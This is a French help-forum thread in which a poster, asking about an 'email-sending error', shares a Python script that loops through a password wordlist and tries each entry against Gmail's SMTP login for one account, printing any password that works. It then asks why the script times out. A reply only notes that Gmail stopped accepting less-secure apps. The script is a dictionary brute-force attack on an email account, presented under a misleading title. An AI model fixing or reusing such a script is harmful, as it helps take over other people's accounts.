Erreur pour envoyer un email avec smtplib via gmail
Mousse
-
Utilisateur anonyme -
Utilisateur anonyme -
Bonjour,
Vous pourriez me dire ce qui ne convient pas dans ce code ?
from distutils.log import error
import smtplib
# Outlook.com
#smtp_s = 'smtp-mail.outlook.com'
# Gmail
smtp_s = 'smtp.gmail.com'
smtp_p = 25
sender = '***@***'
dico = 'password.txt'
with open(dico) as f:
for password in f:
password = password.replace('\n', '')
try:
m = smtplib.SMTP(smtp_s, smtp_p)
m.ehlo()
m.starttls()
m.login(sender, password)
print ('[OK] => ' + sender + ' : ' + password)
m.close()
exit()
except smtplib.SMTPAuthenticationError as e:
if e[0] == 25: # Gmail
print ('[OK] => ' + sender + ' : ' + password)
print (e)
exit()
else:
print (('try ') + password + ' .... err. ' + str(e[0]) + ' >>> ' + e[1])
J'ai cette erreur quand je le lance :
TimeoutError: [WinError 10060] Une tentative de connexion a échoué car le parti connecté n’a pas répondu convenablement au-delà d’une certaine durée ou une connexion établie a échoué car l’hôte de connexion n’a pas répondu
Merci
Windows / Opera 91.0.4516.16
A voir également:
- Erreur pour envoyer un email avec smtplib via gmail
- Gmail connexion - Guide
- Créer un compte gmail - Guide
- Gmail envoyer un mail - Guide
- Accusé de reception gmail - Guide
- Espace de stockage gmail plein - Guide
Bonsoir
ça ne marche plus depuis cet été, les applications moins sécurisées ne sont plus tolérées.